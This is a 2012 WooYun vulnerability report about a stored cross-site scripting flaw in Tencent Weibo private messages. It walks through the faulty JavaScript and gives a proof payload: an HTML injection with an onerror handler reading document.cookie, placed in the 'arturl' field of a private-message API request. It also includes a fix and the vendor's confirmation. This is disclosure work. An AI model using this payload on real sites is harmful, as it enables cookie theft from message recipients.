当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2012-013528

漏洞标题:PKAV腾讯专场 - 1. 腾讯微博私信存储型XSS

相关厂商:腾讯

漏洞作者: gainover

提交时间:2012-10-18 19:01

修复时间:2012-12-02 19:02

公开时间:2012-12-02 19:02

漏洞类型:xss跨站脚本攻击

危害等级:高

自评Rank:15

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2012-10-18: 细节已通知厂商并且等待厂商处理中
2012-10-19: 厂商已经确认,细节仅向厂商公开
2012-10-29: 细节向核心白帽子及相关领域专家公开
2012-11-08: 细节向普通白帽子公开
2012-11-18: 细节向实习白帽子公开
2012-12-02: 细节向公众公开

简要描述:

最近大家都流行连载了。那么我们也开场吧~ 最近心伤的胖子一直在连载,不知道发重复了没。 此漏洞成因会同步更新至:pkav.net

详细说明:

漏洞成因:
缺陷文件:
http://mat1.gtimg.com/www/mb/js/mi_121016.js
1.首先进入 MI.TalkList.picEvent 函数

MI.TalkList.picEvent = function(a) {
....


其中a为页面中所有class为PicBox的div集合,即 div .PicBox
2. 循环每一个 class为PicBox的div

for (var b = 0, f = a.length; b < f; b++) {
var g = a[b],
....


g为每个div
3. k = c(g, "img")[0], 获取PicBox里的第一个img图片
4. h = k.parentNode, 获取k的父级元素,是一个链接<a href="...."
5. j = c(g, ".picTools"), 获取PicBox这个div里的 picTools DIV
6. 缺陷在下面这几句JS代码

if(!MI.user.fun.wideStyle) 
MI.tmpl.picTool = ['<div class="tools bor_bg picTools"><a href="#" class="btnBack"><em></em>', _("向左转"), '</a><span>|</span><a href="#" class="btnPrev"><em></em>', _("向右转"), '</a><a href="$Url/2000" class="btnOriginal" onclick="MI.Bos(\'btnPicSource\')" target="_blank">', _("查看原图"), "</a></div>"].join("");
UI.before(UI.html(MI.tmpl.picTool.replace("$Url", h.href.replace(/\/460$/g, "")).replace("$hisUrl", l))[0], h);


MI.tmpl.picTool直接将$Url替换为 h.href
而h在取href属性值时,会自动将 &quot;&lt;&gt;等转换回 ", < ,> 等符号。
----------------------------------
结合实际HTML结构,如下:
k 对应用户发送的图片

<img class="" crs="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/160" src="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/160" style="display: inline; " alt="[图片]">


h 对应k外层的 A 标签

<a class="pic " href="http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#&quot;&gt;&lt;img src=1 onerror=&quot;alert(document.cookie);&quot; style=&quot;display:none&quot;&gt;&lt;i a=&quot;/460" hidefocus="true"> ... </a>


h.href中的&quot; &lt;, &gt 等重新转义回了 " , < ,>
最终导致UI.html(MI.tmpl.picTool.replace("$Url", h.href.replace(/\/460$/g, "")).replace("$hisUrl", l))[0], h)
在输出HTML时,导致XSS出现
--------------------------------
利用方法,发送私信时,
http://api.t.qq.com/inbox/pm_mgr.php

source	reply
ptid gainover
roomid
content .................
fid
arturl http://t2.qpic.cn/mblogpic/4955e75656b3d175296c/460#"><img src=1 onerror="alert(document.cookie);" style="display:none"><i a="
murl
target gainover
func send
ef js
pmlang zh_CN
apiType 8
apiHost http://api.t.qq.com

漏洞证明:

对方打开私信时会触发XSS。



4(1).jpg


修复方案:

MI.TalkList.picEvent中 h.href.replace之前先将h.href转义一次~

版权声明:转载请注明来源 gainover@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:15

确认时间:2012-10-19 11:16

厂商回复:

非常感谢您的报告。这个问题我们已经确认,正在与业务部门进行沟通制定解决方案。如有任何新的进展我们将会及时同步。

最新状态:

暂无